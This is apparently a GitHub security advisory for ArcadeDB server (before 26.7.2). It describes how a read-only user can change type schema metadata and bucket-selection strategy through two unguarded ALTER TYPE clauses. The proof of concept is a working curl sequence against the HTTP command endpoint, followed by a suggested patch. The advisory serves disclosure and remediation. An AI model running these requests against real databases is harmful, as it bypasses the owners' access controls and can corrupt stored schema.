Skip to content

Read-only users can mutate type schema via ALTER TYPE CUSTOM and BUCKETSELECTIONSTRATEGY (missing UPDATE_SCHEMA check, sibling gap of GHSA-vg6x/GHSA-fxc7)

High
lvca published GHSA-8vr5-263f-x5r3 Jul 9, 2026

Package

maven com.arcadedb:arcadedb-server (Maven)

Affected versions

< 26.7.2

Patched versions

26.7.2

Description

Summary

Two type-level schema mutators reachable from SQL, ALTER TYPE <t> CUSTOM <key> = <value> and ALTER TYPE <t> BUCKETSELECTIONSTRATEGY <impl>, do not enforce the UPDATE_SCHEMA database permission. An authenticated identity that lacks updateSchema (for example a read-only API token, or any user whose group grants only readRecord) can therefore mutate the persisted schema of a type on any database it can reach. This is a sibling gap left open by the UPDATE_SCHEMA hardening that was supposed to cover every public schema mutator: the two LocalDocumentType setters below were missed while their siblings (createProperty, dropProperty, rename, addBucket, setAliases, addSuperType, and the property-level LocalProperty.setCustomValue) all received the guard.

Impact

The database permission model documents updateSchema as the right that gates schema mutation, and it is enforced on the sibling DDL operations. The two operations here bypass that gate:

  • ALTER TYPE <t> CUSTOM <key> = <value> writes into the type's custom metadata map and persists it into the schema configuration. A low-privileged principal can add, overwrite, or delete arbitrary custom metadata keys on any type. Application logic and tooling that reads type custom properties can be steered or corrupted by a user who was only granted read access.
  • ALTER TYPE <t> BUCKETSELECTIONSTRATEGY <impl> replaces the bucket-selection strategy of a type. A low-privileged principal can change how records of a type are routed across buckets (for example switching between round-robin, thread, and partitioned). On a populated type this desynchronizes the partition mapping and undermines a schema-level integrity invariant that the operator did not authorize the caller to touch.

Neither operation requires any special role beyond an authenticated database connection with read access. The effect persists in the on-disk schema. This does not directly disclose or write record data, but it breaks the documented permission boundary (updateSchema-gated schema mutation) and can corrupt the meaning and routing of stored records.

The relevant DATABASE_ACCESS value that should gate both operations is UPDATE_SCHEMA, consistent with every other ALTER TYPE sub-operation.

Affected component

Engine schema layer:

  • engine/src/main/java/com/arcadedb/schema/LocalDocumentType.java
    • setCustomValue(String key, Object value) (the type-level custom-metadata setter) calls recordFileChanges(...) directly with no checkForSchemaMutation() / checkPermissionsOnDatabase(UPDATE_SCHEMA) guard.
    • setBucketSelectionStrategy(BucketSelectionStrategy) (and the String overload that delegates to it) mutates the strategy field with no guard.

Reachable over the HTTP command endpoint POST /api/v1/command/{database} via the SQL statement com.arcadedb.query.sql.parser.AlterTypeStatement (executeDDL calls type.setCustomValue(...) for the CUSTOM clause and type.setBucketSelectionStrategy(...) for the BUCKETSELECTIONSTRATEGY clause). The same statement's NAME, BUCKET, SUPERTYPE, and ALIASES sub-operations are correctly gated, which makes the asymmetry clear.

The HTTP request binds the authenticated user into DatabaseContext (DatabaseAbstractHandler.setCurrentUser), so checkPermissionsOnDatabase(UPDATE_SCHEMA) would correctly deny an under-privileged caller if it were called. It is a no-op only in embedded mode and in system contexts with no bound user (schema load at startup, HA replication apply), so adding the guard does not affect internal paths or administrators.

Affected versions

All released versions up to and including 26.7.1 (the current release), and current main. The general UPDATE_SCHEMA hardening that reached the sibling mutators did not extend to these two type-level setters, so upgrading past that hardening does not close this gap.

Proof of concept

Environment: official arcadedata/arcadedb Docker image (build reported by the server as 26.8.1-SNAPSHOT, which already contains the general schema-mutator hardening, proven by the negative controls below being denied). HTTP endpoint on port 2480.

Setup, as the root administrator:

# 1. create a database
curl -s -u root:RootPass123! -H 'Content-Type: application/json' \
  -X POST http://localhost:2480/api/v1/server \
  -d '{"command":"create database db1"}'
# -> {"result":"ok"}

# 2. create a type
curl -s -u root:RootPass123! -H 'Content-Type: application/json' \
  -X POST http://localhost:2480/api/v1/command/db1 \
  -d '{"command":"CREATE DOCUMENT TYPE Ledger","language":"sql"}'

# 3. create a low-privileged user in the built-in read-only group on db1
#    (readonly group: database access=[], type access=[readRecord]; NO updateSchema)
curl -s -u root:RootPass123! -H 'Content-Type: application/json' \
  -X POST http://localhost:2480/api/v1/server \
  -d '{"command":"create user {\"name\":\"lowpriv\",\"password\":\"LowPass123!\",\"databases\":{\"db1\":[\"readonly\"]}}"}'
# -> {"result":"ok"}

Negative controls, as lowpriv (proving the principal genuinely lacks updateSchema and the framework enforces it on the guarded siblings):

# NEG-1: guarded sibling CREATE PROPERTY -> DENIED
curl -s -u lowpriv:LowPass123! -H 'Content-Type: application/json' \
  -X POST http://localhost:2480/api/v1/command/db1 \
  -d '{"command":"CREATE PROPERTY Ledger.amount LONG","language":"sql"}'
# -> {"error":"Security error","detail":"User 'lowpriv' is not allowed to update schema","exception":"java.lang.SecurityException"}

# NEG-2: guarded sibling ALTER TYPE ... NAME (rename) -> DENIED
curl -s -u lowpriv:LowPass123! -H 'Content-Type: application/json' \
  -X POST http://localhost:2480/api/v1/command/db1 \
  -d '{"command":"ALTER TYPE Ledger NAME LedgerX","language":"sql"}'
# -> {"error":"Security error","detail":"User 'lowpriv' is not allowed to update schema","exception":"java.lang.SecurityException"}

Positive read (confirming lowpriv is a valid, functioning low-privileged principal):

curl -s -u lowpriv:LowPass123! -H 'Content-Type: application/json' \
  -X POST http://localhost:2480/api/v1/command/db1 \
  -d '{"command":"SELECT FROM schema:types WHERE name = '\''Ledger'\''","language":"sql"}'
# -> {"user":"lowpriv","result":[{"name":"Ledger","type":"document","records":0,"buckets":["Ledger_0"],"bucketSelectionStrate...

Exploit, as lowpriv (both schema mutations succeed despite the missing updateSchema right):

# EXPLOIT A: unauthorized type-level CUSTOM metadata write
curl -s -u lowpriv:LowPass123! -H 'Content-Type: application/json' \
  -X POST http://localhost:2480/api/v1/command/db1 \
  -d '{"command":"ALTER TYPE Ledger CUSTOM description = '\''unauthorized-schema-write'\''","language":"sql"}'
# -> {"user":"lowpriv","result":[{"custom":"description=unauthorized-schema-write","operation":"ALTER TYPE","typeName":"Ledger","result":"OK"}]}

# EXPLOIT B: unauthorized bucket-selection-strategy change
curl -s -u lowpriv:LowPass123! -H 'Content-Type: application/json' \
  -X POST http://localhost:2480/api/v1/command/db1 \
  -d '{"command":"ALTER TYPE Ledger BUCKETSELECTIONSTRATEGY `round-robin`","language":"sql"}'
# -> {"user":"lowpriv","result":[{"bucketSelectionStrategy":"round-robin","operation":"ALTER TYPE","typeName":"Ledger","result":"OK"}]}

Out-of-band read-back, as root (ground truth that the low-privileged caller's mutations persisted into the schema):

curl -s -u root:RootPass123! -H 'Content-Type: application/json' \
  -X POST http://localhost:2480/api/v1/command/db1 \
  -d '{"command":"SELECT name, custom, bucketSelectionStrategy FROM schema:types WHERE name = '\''Ledger'\''","language":"sql"}'
# -> {"user":"root","result":[{"name":"Ledger","custom":{"description":"unauthorized-schema-write"},"bucketSelectionStrategy":"round-robin","@props":"custom:10"}]}

The readonly user, denied on every guarded ALTER TYPE/CREATE PROPERTY sibling, successfully performed and persisted two schema mutations through the two unguarded ALTER TYPE clauses.

Suggested fix

Add the existing checkForSchemaMutation() guard (which enforces checkPermissionsOnDatabase(UPDATE_SCHEMA)) to the two missed setters in LocalDocumentType, exactly as the sibling mutators do:

   public Object setCustomValue(final String key, final Object value) {
+    checkForSchemaMutation();
     return recordFileChanges(() -> {
       if (value == null)
         return custom.remove(key);
       return custom.put(key, value);
     });
   }
   public DocumentType setBucketSelectionStrategy(final BucketSelectionStrategy selectionStrategy) {
+    checkForSchemaMutation();
     final BucketSelectionStrategy previous = this.bucketSelectionStrategy;
     this.bucketSelectionStrategy = selectionStrategy;

checkForSchemaMutation() is a no-op when there is no bound user (embedded mode, schema load at startup, HA replication apply), so administrators and internal paths are unaffected; only authenticated command/query callers without updateSchema are rejected. The String overload of setBucketSelectionStrategy delegates to the typed overload, so a single guard covers both entry points.

Credit

tonghuaroot

Severity

High

CVE ID

No known CVE

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.